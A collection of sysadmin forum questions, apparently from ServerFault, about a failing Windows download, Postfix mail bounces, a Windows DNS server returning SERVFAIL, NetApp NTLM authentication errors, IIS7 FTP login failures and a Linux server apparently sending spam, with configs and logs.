Disabling write caching to the hard drive storing the download on an external device successfully transmitted +1GB file from one computer on the same network to this computer disabling indexing in the folder the download was being stored in disabling all security software checked to make sure all drivers were up to date read about 50 accounts with nearly exact descriptions of what I'm experiencing, none of which had a solution given Running Processes: Image Name PID Session Name Session# Mem Usage ========================= ======== ================ =========== ============ System Idle Process 0 Services 0 24 K System 4 Services 0 104,836 K smss.exe 332 Services 0 1,276 K csrss.exe 764 Services 0 5,060 K wininit.exe 820 Services 0 4,748 K csrss.exe 844 Console 1 23,764 K services.exe 876 Services 0 11,856 K lsass.exe 892 Services 0 14,420 K lsm.exe 900 Services 0 7,820 K winlogon.exe 944 Console 1 7,716 K svchost.exe 428 Services 0 12,744 K svchost.exe 796 Services 0 12,240 K svchost.exe 1036 Services 0 22,372 K svchost.exe 1084 Services 0 174,132 K svchost.exe 1112 Services 0 56,144 K svchost.exe 1288 Services 0 18,640 K svchost.exe 1404 Services 0 29,616 K spoolsv.exe 1576 Services 0 25,924 K svchost.exe 1616 Services 0 12,788 K AppleMobileDeviceService. 1728 Services 0 9,796 K avgwdsvc.exe 1820 Services 0 8,268 K mDNSResponder.exe 1844 Services 0 5,832 K w3dbsmgr.exe 1108 Services 0 43,760 K QBCFMonitorService.exe 1336 Services 0 16,408 K svchost.exe 2404 Services 0 28,240 K taskhost.exe 3020 Console 1 12,372 K dwm.exe 2280 Console 1 5,968 K explorer.exe 2964 Console 1 152,476 K WUDFHost.exe 3316 Services 0 6,740 K svchost.exe 3408 Services 0 5,556 K RAVCpl64.exe 3684 Console 1 13,864 K igfxtray.exe 3700 Console 1 7,804 K hkcmd.exe 3772 Console 1 7,868 K igfxpers.exe 3788 Console 1 10,940 K sidebar.exe 3836 Console 1 84,400 K chrome.exe 3964 Console 1 19,640 K pptd40nt.exe 4068 Console 1 5,156 K acrotray.exe 3908 Console 1 14,676 K avgtray.exe 3872 Console 1 9,508 K jusched.exe 4076 Console 1 4,412 K iTunesHelper.exe 1532 Console 1 87,308 K SearchIndexer.exe 3492 Services 0 36,948 K iPodService.exe 4136 Services 0 7,944 K BrccMCtl.exe 4276 Console 1 18,132 K splwow64.exe 4380 Console 1 32,600 K qbupdate.exe 4836 Console 1 24,236 K svchost.exe 4288 Services 0 20,700 K wmpnetwk.exe 3112 Services 0 9,516 K FNPLicensingService.exe 5248 Services 0 5,852 K QBW32.EXE 5508 Console 1 127,068 K QBDBMgrN.exe 5600 Services 0 42,252 K EXCEL.EXE 2512 Console 1 99,100 K LMS.exe 3188 Services 0 5,616 K UNS.exe 1600 Services 0 7,308 K axlbridge.exe 5260 Console 1 5,132 K chrome.exe 5888 Console 1 200,336 K chrome.exe 3536 Console 1 26,076 K chrome.exe 1952 Console 1 20,168 K chrome.exe 4596 Console 1 24,696 K chrome.exe 4292 Console 1 48,096 K chrome.exe 2796 Console 1 23,520 K Acrobat.exe 1240 Console 1 87,252 K 123w.exe 4892 Console 1 22,728 K calc.exe 1700 Console 1 12,636 K chrome.exe 1328 Console 1 28,888 K chrome.exe 3696 Console 1 47,012 K rundll32.exe 6320 Console 1 7,104 K chrome.exe 4928 Console 1 44,248 K AVGIDSAgent.exe 260 Services 0 12,940 K avgfws.exe 6052 Services 0 26,912 K avgnsa.exe 5064 Services 0 2,496 K avgrsa.exe 3088 Services 0 2,200 K avgcsrva.exe 2596 Services 0 380 K avgcsrva.exe 6948 Services 0 408 K StikyNot.exe 452 Console 1 14,772 K chrome.exe 4580 Console 1 28,200 K chrome.exe 4016 Console 1 57,756 K svchost.exe 7140 Services 0 4,500 K chrome.exe 6264 Console 1 56,824 K chrome.exe 7008 Console 1 56,896 K chrome.exe 2224 Console 1 38,032 K taskhost.exe 612 Console 1 7,228 K chrome.exe 6000 Console 1 10,928 K chrome.exe 2568 Console 1 43,052 K chrome.exe 272 Console 1 75,988 K chrome.exe 7328 Console 1 53,240 K PaprPort.exe 7976 Console 1 137,152 K pplinks.exe 7500 Console 1 14,052 K ppscanmg.exe 5744 Console 1 18,996 K taskeng.exe 7388 Console 1 6,308 K SearchProtocolHost.exe 8024 Services 0 8,804 K SearchFilterHost.exe 7232 Services 0 7,848 K chrome.exe 8016 Console 1 37,440 K cmd.exe 7692 Console 1 3,096 K conhost.exe 7516 Console 1 5,872 K tasklist.exe 8160 Console 1 5,772 K WmiPrvSE.exe 7684 Services 0 6,400 K Any help with this would be greatly appreciated, I've been beating my head against a wall over this all day. This computer serves dual purpose as the main company document server and the Owner's work computer, it's fairly important it be fully functional and I cannot figure this out.

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• Postfix configuration - Uing virtual min but server is bouncing back my mail.

  - by brodiebrodie

  I have no experience in setting up postfix, and thought virtualmin minght do the legwork for me. Appears not. When I try to send mail to the domain (either [email protected] [email protected] or [email protected]) I get the following message returned This is the mail system at host dedq239.localdomain. I'm sorry to have to inform you that your message could not be delivered to one or more recipients. It's attached below. For further assistance, please send mail to <postmaster> If you do so, please include this problem report. You can delete your own text from the attached returned message. The mail system <[email protected]> (expanded from <[email protected]>): User unknown in virtual alias table Final-Recipient: rfc822; [email protected] Original-Recipient: rfc822;[email protected] Action: failed Status: 5.0.0 Diagnostic-Code: X-Postfix; User unknown in virtual alias table How can I diagnose the problem here? It seems that the mail gets to my server but the server fails to locally deliver the message to the correct user. (This is a guess, truthfully I have no idea what is happening). I have checked my virtual alias table and it seems to be set up correctly (I can post if this would be helpful). Can anyone give me a clue as to the next step? Thanks alias_database = hash:/etc/aliases alias_maps = hash:/etc/aliases broken_sasl_auth_clients = yes command_directory = /usr/sbin config_directory = /etc/postfix daemon_directory = /usr/libexec/postfix debug_peer_level = 2 html_directory = no local_recipient_maps = $virtual_mailbox_maps mailq_path = /usr/bin/mailq.postfix manpage_directory = /usr/share/man mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain myorigin = $mydomain newaliases_path = /usr/bin/newaliases.postfix readme_directory = /usr/share/doc/postfix-2.3.3/README_FILES sample_directory = /usr/share/doc/postfix-2.3.3/samples sendmail_path = /usr/sbin/sendmail.postfix setgid_group = postdrop smtpd_recipient_restrictions = permit_mynetworks reject_unauth_destination smtpd_sasl_auth_enable = yes soft_bounce = no unknown_local_recipient_reject_code = 550 virtual_alias_maps = hash:/etc/postfix/virtual My mail log file (the last entry) Sep 30 15:13:47 dedq239 postfix/cleanup[7237]: 207C6B18158: message-id=<[email protected]> Sep 30 15:13:47 dedq239 postfix/qmgr[7177]: 207C6B18158: from=<[email protected]>, size=1805, nrcpt=1 (queue active) Sep 30 15:13:47 dedq239 postfix/error[7238]: 207C6B18158: to=<[email protected]>, orig_to=<[email protected]>, relay=none, delay=0.64, delays=0.61/0.01/0/0.02, dsn=5.0.0, status=bounced (User unknown in virtual alias table) Sep 30 15:13:47 dedq239 postfix/cleanup[7237]: 8DC13B18169: message-id=<[email protected]> Sep 30 15:13:47 dedq239 postfix/qmgr[7177]: 8DC13B18169: from=<>, size=3691, nrcpt=1 (queue active) Sep 30 15:13:47 dedq239 postfix/bounce[7239]: 207C6B18158: sender non-delivery notification: 8DC13B18169 Sep 30 15:13:47 dedq239 postfix/qmgr[7177]: 207C6B18158: removed Sep 30 15:13:48 dedq239 postfix/smtp[7240]: 8DC13B18169: to=<[email protected]>, relay=gmail-smtp-in.l.google.com[209.85.216.55]:25, delay=1.3, delays=0.02/0.01/0.58/0.75, dsn=2.0.0, status=sent (250 2.0.0 OK 1254348828 36si15082901pxi.91) Sep 30 15:13:48 dedq239 postfix/qmgr[7177]: 8DC13B18169: removed Sep 30 15:14:17 dedq239 postfix/smtpd[7233]: disconnect from mail-bw0-f228.google.com[209.85.218.228] etc.aliases file below I have not touched this file - myvirtualdomain is a replacement for my real domain name # Aliases in this file will NOT be expanded in the header from # Mail, but WILL be visible over networks or from /bin/mail. # # >>>>>>>>>> The program "newaliases" must be run after # >> NOTE >> this file is updated for any changes to # >>>>>>>>>> show through to sendmail. # # Basic system aliases -- these MUST be present. mailer-daemon: postmaster postmaster: root # General redirections for pseudo accounts. bin: root daemon: root adm: root lp: root sync: root shutdown: root halt: root mail: root news: root uucp: root operator: root games: root gopher: root ftp: root nobody: root radiusd: root nut: root dbus: root vcsa: root canna: root wnn: root rpm: root nscd: root pcap: root apache: root webalizer: root dovecot: root fax: root quagga: root radvd: root pvm: root amanda: root privoxy: root ident: root named: root xfs: root gdm: root mailnull: root postgres: root sshd: root smmsp: root postfix: root netdump: root ldap: root squid: root ntp: root mysql: root desktop: root rpcuser: root rpc: root nfsnobody: root ingres: root system: root toor: root manager: root dumper: root abuse: root newsadm: news newsadmin: news usenet: news ftpadm: ftp ftpadmin: ftp ftp-adm: ftp ftp-admin: ftp www: webmaster webmaster: root noc: root security: root hostmaster: root info: postmaster marketing: postmaster sales: postmaster support: postmaster # trap decode to catch security attacks decode: root # Person who should get root's mail #root: marc abuse-myvirtualdomain.com: [email protected] My etc/postfix/virtual file is below - again myvirtualdomain is a replacement. I think this file was generated by Virtualmin and I have tried messing around with is with no success... This is the version without my changes. myunixusername@myvirtualdomain .com myunixusername myvirtualdomain .com myvirtualdomain.com [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected] [email protected]

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• Windows DNS Server 2008 R2 fallaciously returns SERVFAIL

  - by Easter Sunshine

  I have a Windows 2008 R2 domain controller which is also a DNS server. When resolving certain TLDs, it returns a SERVFAIL: $ dig bogus. ; <<>> DiG 9.8.1 <<>> bogus. ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 31919 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0 ;; QUESTION SECTION: ;bogus. IN A I get the same result for a real TLD like com. when querying the DC as shown above. Compare to a BIND server that is working as expected: $ dig bogus. @128.59.59.70 ; <<>> DiG 9.8.1 <<>> bogus. @128.59.59.70 ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 30141 ;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;bogus. IN A ;; AUTHORITY SECTION: . 10800 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2012012501 1800 900 604800 86400 ;; Query time: 18 msec ;; SERVER: 128.59.59.70#53(128.59.59.70) ;; WHEN: Wed Jan 25 14:09:14 2012 ;; MSG SIZE rcvd: 98 Similarly, when I query my Windows DNS server with dig . any, I get a SERVFAIL but the BIND servers return the root zone as expected. This sounds similar to the issue described in http://support.microsoft.com/kb/968372 except I am using two forwarders (128.59.59.70 from above as well as 128.59.62.10) and falling back to root hints so the preconditions to expose the issue are not the same. Nevertheless, I also applied the MaxCacheTTL registry fix as described and restarted DNS and the whole server as well but the problem persists. The problem occurs on all domain controllers in this domain and has occurred since half a year ago, even though the servers are getting automatic Windows updates. EDIT Here is a debug log. The client is 160.39.114.110, which is my workstation. 1/25/2012 2:16:01 PM 0E08 PACKET 000000001EA6BFD0 UDP Rcv 160.39.114.110 2e94 Q [0001 D NOERROR] A (5)bogus(0) UDP question info at 000000001EA6BFD0 Socket = 508 Remote addr 160.39.114.110, port 49710 Time Query=1077016, Queued=0, Expire=0 Buf length = 0x0fa0 (4000) Msg length = 0x0017 (23) Message: XID 0x2e94 Flags 0x0100 QR 0 (QUESTION) OPCODE 0 (QUERY) AA 0 TC 0 RD 1 RA 0 Z 0 CD 0 AD 0 RCODE 0 (NOERROR) QCOUNT 1 ACOUNT 0 NSCOUNT 0 ARCOUNT 0 QUESTION SECTION: Offset = 0x000c, RR count = 0 Name "(5)bogus(0)" QTYPE A (1) QCLASS 1 ANSWER SECTION: empty AUTHORITY SECTION: empty ADDITIONAL SECTION: empty 1/25/2012 2:16:01 PM 0E08 PACKET 000000001EA6BFD0 UDP Snd 160.39.114.110 2e94 R Q [8281 DR SERVFAIL] A (5)bogus(0) UDP response info at 000000001EA6BFD0 Socket = 508 Remote addr 160.39.114.110, port 49710 Time Query=1077016, Queued=0, Expire=0 Buf length = 0x0fa0 (4000) Msg length = 0x0017 (23) Message: XID 0x2e94 Flags 0x8182 QR 1 (RESPONSE) OPCODE 0 (QUERY) AA 0 TC 0 RD 1 RA 1 Z 0 CD 0 AD 0 RCODE 2 (SERVFAIL) QCOUNT 1 ACOUNT 0 NSCOUNT 0 ARCOUNT 0 QUESTION SECTION: Offset = 0x000c, RR count = 0 Name "(5)bogus(0)" QTYPE A (1) QCLASS 1 ANSWER SECTION: empty AUTHORITY SECTION: empty ADDITIONAL SECTION: empty Every option in the debug log box was checked except "filter by IP". By contrast, when I query, say, accounts.google.com, I can see the DNS server go out to its forwarder (128.59.59.70, for example). In this case, I didn't see any packets going out from my DNS server even though bogus. was not in the cache (the debug log was already running and this is the first time I queried this server for bogus. or any TLD). It just returned SERVFAIL without consulting any other DNS server, as in the Microsoft KB article linked above.

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• NetApp erroring with: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT

  - by Sobrique

  Since a sitewide upgrade to Windows 7 on desktop, I've started having a problem with virus checking. Specifically - when doing a rename operation on a (filer hosted) CIFS share. The virus checker seems to be triggering a set of messages on the filer: [filerB: auth.trace.authenticateUser.loginTraceIP:info]: AUTH: Login attempt by user server-wk8-r2$ of domain MYDOMAIN from client machine 10.1.1.20 (server-wk8-r2). [filerB: auth.dc.trace.DCConnection.statusMsg:info]: AUTH: TraceDC- attempting authentication with domain controller \\MYDC. [filerB: auth.trace.authenticateUser.loginRejected:info]: AUTH: Login attempt by user rejected by the domain controller with error 0xc0000199: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT. [filerB: auth.trace.authenticateUser.loginTraceMsg:info]: AUTH: Delaying the response by 5 seconds due to continuous failed login attempts by user server-wk8-r2$ of domain MYDOMAIN from client machine 10.1.1.20. This seems to specifically trigger on a rename so what we think is going on is the virus checker is seeing a 'new' file, and trying to do an on-access scan. The virus checker - previously running as LocalSystem and thus sending null as it's authentication request is now looking rather like a DOS attack, and causing the filer to temporarily black list. This 5s lock out each 'access attempt' is a minor nuisance most of the time, and really quite significant for some operations - e.g. large file transfers, where every file takes 5s Having done some digging, this seems to be related to NLTM authentication: Symptoms Error message: System error 1808 has occurred. The account used is a computer account. Use your global user account or local user account to access this server. A packet trace of the failure will show the error as: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (0xC0000199) Cause Microsoft has changed the functionality of how a Local System account identifies itself during NTLM authentication. This only impacts NTLM authentication. It does not impact Kerberos Authentication. Solution On the host, please set the following group policy entry and reboot the host. Network Security: Allow Local System to use computer identity for NTLM: Disabled Defining this group policy makes Windows Server 2008 R2 and Windows 7 function like Windows Server 2008 SP1. So we've now got a couple of workaround which aren't particularly nice - one is to change this security option. One is to disable virus checking, or otherwise exempt part of the infrastructure. And here's where I come to my request for assistance from ServerFault - what is the best way forwards? I lack Windows experience to be sure of what I'm seeing. I'm not entirely sure why NTLM is part of this picture in the first place - I thought we were using Kerberos authentication. I'm not sure how to start diagnosing or troubleshooting this. (We are going cross domain - workstation machine accounts are in a separate AD and DNS domain to my filer. Normal user authentication works fine however.) And failing that, can anyone suggest other lines of enquiry? I'd like to avoid a site wide security option change, or if I do go that way I'll need to be able to supply detailed reasoning. Likewise - disabling virus checking works as a short term workaround, and applying exclusions may help... but I'd rather not, and don't think that solves the underlying problem. EDIT: Filers in AD ldap have SPNs for: nfs/host.fully.qualified.domain nfs/host HOST/host.fully.qualified.domain HOST/host (Sorry, have to obfuscate those). Could it be that without a 'cifs/host.fully.qualified.domain' it's not going to work? (or some other SPN? ) Edit: As part of the searching I've been doing I've found: http://itwanderer.wordpress.com/2011/04/14/tread-lightly-kerberos-encryption-types/ Which suggests that several encryption types were disabled by default in Win7/2008R2. This might be pertinent, as we've definitely had a similar problem with Keberized NFSv4. There is a hidden option which may help some future Keberos users: options nfs.rpcsec.trace on (This hasn't given me anything yet though, so may just be NFS specific). Edit: Further digging has me tracking it back to cross domain authentication. It looks like my Windows 7 workstation (in one domain) is not getting Kerberos tickets for the other domain, in which my NetApp filer is CIFS joined. I've done this separately against a standalone server (Win2003 and Win2008) and didn't get Kerberos tickets for those either. Which means I think Kerberos might be broken, but I've no idea how to troubleshoot further. Edit: A further update: It looks like this may be down Kerberos tickets not being issued cross domain. This then triggers NTLM fallback, which then runs into this problem (since Windows 7). First port of call will be to investigate the Kerberos side of things, but in neither case do we have anything pointing at the Filer being the root cause. As such - as the storage engineer - it's out of my hands. However, if anyone can point me in the direction of troubleshooting Kerberos spanning two Windows AD domains (Kerberos Realms) then that would be appreciated. Options we're going to be considering for resolution: Amend policy option on all workstations via GPO (as above). Talking to AV vendor about the rename triggering scanning. Talking to AV vendor regarding running AV as service account. investigating Kerberos authentication (why it's not working, whether it should be).

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• IIS7 FTP Setup - An error occured during the authentication process. 530 End Login failed

  - by robmzd

  I'm having a problem very similar to IIS 7.5 FTP IIS Manager Users Login Fail (530) on Windows Server 2008 R2 Standard. I have created an FTP site and IIS Manager user but am having trouble logging in. I could really do with getting this working with the IIS Manager user rather than by creating a new system user since I'm fairly restricted with those accounts. Here is the output when connecting locally through command prompt: C:\Windows\system32>ftp localhost Connected to MYSERVER. 220 Microsoft FTP Service User (MYSERVER:(none)): MyFtpLogin 331 Password required for MyFtpLogin. Password: *** 530-User cannot log in. Win32 error: Logon failure: unknown user name or bad password. Error details: An error occured during the authentication process. 530 End Login failed. I have followed the guide to configure ftp with iis manager authentication in iis 7 and Adding FTP Publishing to a Web Site in IIS 7 Things I have done and checked: The FTP Service is installed (along with FTP Extensibility). Local Service and Network Service have been given access to the site folder Permission has been given to the config files Granted read/write permissions to the FTP Root folder The Management Service is installed and running Enable remote connections is ticked with 'Windows credentials or IIS manager credentials' selected The IIS Manager User has been added to the server (root connection in the IIS connections branch) The new FTP site has been added IIS Manager Authentication has been added to the FTP authentication providers The IIS Manager user has been added to the IIS Manager Permissions list for the site Added Read/Write permissions for the user in the FTP Authorization Rules Here's a section of the applicationHost config file associated with the FTP site <site name="MySite" id="8"> <application path="/" applicationPool="MyAppPool"> <virtualDirectory path="/" physicalPath="D:\Websites\MySite" /> </application> <bindings> <binding protocol="http" bindingInformation="*:80:www.mydomain.co.uk" /> <binding protocol="ftp" bindingInformation="*:21:www.mydomain.co.uk" /> </bindings> <ftpServer> <security> <ssl controlChannelPolicy="SslAllow" dataChannelPolicy="SslAllow" /> <authentication> <basicAuthentication enabled="true" /> <customAuthentication> <providers> <add name="IisManagerAuth" enabled="true" /> </providers> </customAuthentication> </authentication> </security> </ftpServer> </site> ... <location path="MySite"> <system.ftpServer> <security> <authorization> <add accessType="Allow" users="MyFtpLogin" permissions="Read, Write" /> </authorization> </security> </system.ftpServer> </location> If I connect to the Site (not FTP) from my local IIS Manager using the same IIS Manager account details then it connects fine, I can browse files and change settings as I would locally (though I don't seem to have an option to upload files). Trying to connect via FTP though either through the browser or FileZilla etc... gives me: Status: Resolving address of www.mydomain.co.uk Status: Connecting to 123.456.12.123:21... Status: Connection established, waiting for welcome message... Response: 220 Microsoft FTP Service Command: USER MyFtpLogin Response: 331 Password required for MyFtpLogin. Command: PASS ********* Response: 530 User cannot log in. Error: Critical error Error: Could not connect to server I have tried collecting etw traces for ftp sessions, in the logs I get a FailBasicLogon followed by a FailCustomLogon, but no other info: FailBasicLogon SessionId={cad26a97-225d-45ba-ab1f-f6acd9046e55} | ErrorCode=0x8007052E StartCustomLogon SessionId={cad26a97-225d-45ba-ab1f-f6acd9046e55} | LogonProvider=IisManagerAuth StartCallProvider SessionId={cad26a97-225d-45ba-ab1f-f6acd9046e55} | provider=IisManagerAuth EndCallProvider SessionId={cad26a97-225d-45ba-ab1f-f6acd9046e55} EndCustomLogon SessionId={cad26a97-225d-45ba-ab1f-f6acd9046e55} FailCustomLogon SessionId={cad26a97-225d-45ba-ab1f-f6acd9046e55} | ErrorCode=0x8007052E FailFtpCommand SessionId={cad26a97-225d-45ba-ab1f-f6acd9046e55} | ReturnValue=0x8007052E | SubStatus=ERROR_DURING_AUTHENTICATION In the normal FTP logs I just get: 2012-10-23 16:13:11 123.456.12.123 - 123.456.12.123 21 ControlChannelOpened - - 0 0 e2d4e935-fb31-4f2c-af79-78d75d47c18e - 2012-10-23 16:13:11 123.456.12.123 - 123.456.12.123 21 USER MyFtpLogin 331 0 0 e2d4e935-fb31-4f2c-af79-78d75d47c18e - 2012-10-23 16:13:11 123.456.12.123 - 123.456.12.123 21 PASS *** 530 1326 41 e2d4e935-fb31-4f2c-af79-78d75d47c18e - 2012-10-23 16:13:11 123.456.12.123 - 123.456.12.123 21 ControlChannelClosed - - 0 0 e2d4e935-fb31-4f2c-af79-78d75d47c18e - If anyone has any ideas than I would be very grateful to hear them. Many thanks.

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• Server being used to send spam mail. How do I investigate?

  - by split_account

  Problem I think my server is being used to send spam with sendmail, I'm getting a lot of mail being queued up that I don't recognize and my mail.log and syslog are getting huge. I've shutdown sendmail, so none of it is getting out but I can't work out where it's coming from. Investigation so far: I've tried the solution in the blog post below and also shown in this thread. It's meant to add a header from wherever the mail is being added and log all all mail to file, so I changed the following lines in my php.ini file: mail.add_x_header = On mail.log = /var/log/phpmail.log But nothing is appearing in the phpmail.log. I used the command here to investigate cron jobs for all users, but nothing is out of place. The only cron being run is the cron for the website. And then I brought up all php files which had been modified in the last 30 days but none of them look suspicious. What else can I do to find where this is coming from? Mail.log reports Turned sendmail back on for second. Here is a small sample of the reports: Jun 10 14:40:30 ubuntu12 sm-mta[13684]: s5ADeQdp013684: from=<>, size=2431, class=0, nrcpts=1, msgid=<[email protected]>, proto=ESMTP, daemon=MTA-v4, relay=localhost [127.0.0.1] Jun 10 14:40:30 ubuntu12 sm-msp-queue[13674]: s5ACK1cC011438: to=www-data, delay=01:20:14, xdelay=00:00:00, mailer=relay, pri=571670, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (s5ADeQdp013684 Message accepted for delivery) Jun 10 14:40:30 ubuntu12 sm-mta[13719]: s5ADeQdp013684: to=<[email protected]>, delay=00:00:00, xdelay=00:00:00, mailer=local, pri=32683, dsn=2.0.0, stat=Sent Jun 10 14:40:30 ubuntu12 sm-mta[13684]: s5ADeQdr013684: from=<[email protected]>, size=677, class=0, nrcpts=1, msgid=<[email protected]>, proto=ESMTP, daemon=MTA-v4, relay=localhost [127.0.0.1] Jun 10 14:40:31 ubuntu12 sm-msp-queue[13674]: s5AC0gpi011125: to=www-data, ctladdr=www-data (33/33), delay=01:39:49, xdelay=00:00:01, mailer=relay, pri=660349, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (s5ADeQdr013684 Message accepted for delivery) Jun 10 14:40:31 ubuntu12 sm-mta[13721]: s5ADeQdr013684: to=<[email protected]>, ctladdr=<[email protected]> (33/33), delay=00:00:01, xdelay=00:00:00, mailer=local, pri=30946, dsn=2.0.0, stat=Sent Jun 10 14:40:31 ubuntu12 sm-mta[13684]: s5ADeQdt013684: from=<[email protected]>, size=677, class=0, nrcpts=1, msgid=<[email protected]>, proto=ESMTP, daemon=MTA-v4, relay=localhost [127.0.0.1] Jun 10 14:40:31 ubuntu12 sm-msp-queue[13674]: s5ACF2Nq011240: to=www-data, ctladdr=www-data (33/33), delay=01:25:29, xdelay=00:00:00, mailer=relay, pri=660349, relay=[127.0.0.1] [127.0.0.1], dsn=2.0.0, stat=Sent (s5ADeQdt013684 Message accepted for delivery) Jun 10 14:40:31 ubuntu12 sm-mta[13723]: s5ADeQdt013684: to=<[email protected]>, ctladdr=<[email protected]> (33/33), delay=00:00:00, xdelay=00:00:00, mailer=local, pri=30946, dsn=2.0.0, stat=Sent Ju Further Investigation Spotted 4 spam accounts registered in the past day, which is suspicious however all have normal user privileges. There are no contact forms on the site, there are a number of forms and they take either filtered text input or plain text input. Mail is still being queued up having switched the website to maintenance mode, which blocks out everyone but the admin. Ok more investigation, it looks like the email is being send by my websites cron which runs every 5 minutes. However there are no cron jobs I've set-up which run more than once an hour and show on the website log so presumably someone has managed to edit my cron somehow. Copy of email: V8 T1402410301 K1402411201 N2 P120349 I253/1/369045 MDeferred: Connection refused by [127.0.0.1] Fbs $_www-data@localhost ${daemon_flags}c u Swww-data [email protected] MDeferred: Connection refused by [127.0.0.1] C:www-data rRFC822; [email protected] RPFD:www-data H?P?Return-Path: <?g> H??Received: (from www-data@localhost) by ubuntu12.pcsmarthosting.co.uk (8.14.4/8.14.4/Submit) id s5AEP13T015507 for www-data; Tue, 10 Jun 2014 15:25:01 +0100 H?D?Date: Tue, 10 Jun 2014 15:25:01 +0100 H?x?Full-Name: CronDaemon H?M?Message-Id: <[email protected]> H??From: root (Cron Daemon) H??To: www-data H??Subject: Cron <www-data@ubuntu12> /usr/bin/drush @main elysia-cron H??Content-Type: text/plain; charset=ANSI_X3.4-1968 H??X-Cron-Env: <PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin> H??X-Cron-Env: <COLUMNS=80> H??X-Cron-Env: <SHELL=/bin/sh> H??X-Cron-Env: <HOME=/var/www> H??X-Cron-Env: <LOGNAME=www-data>

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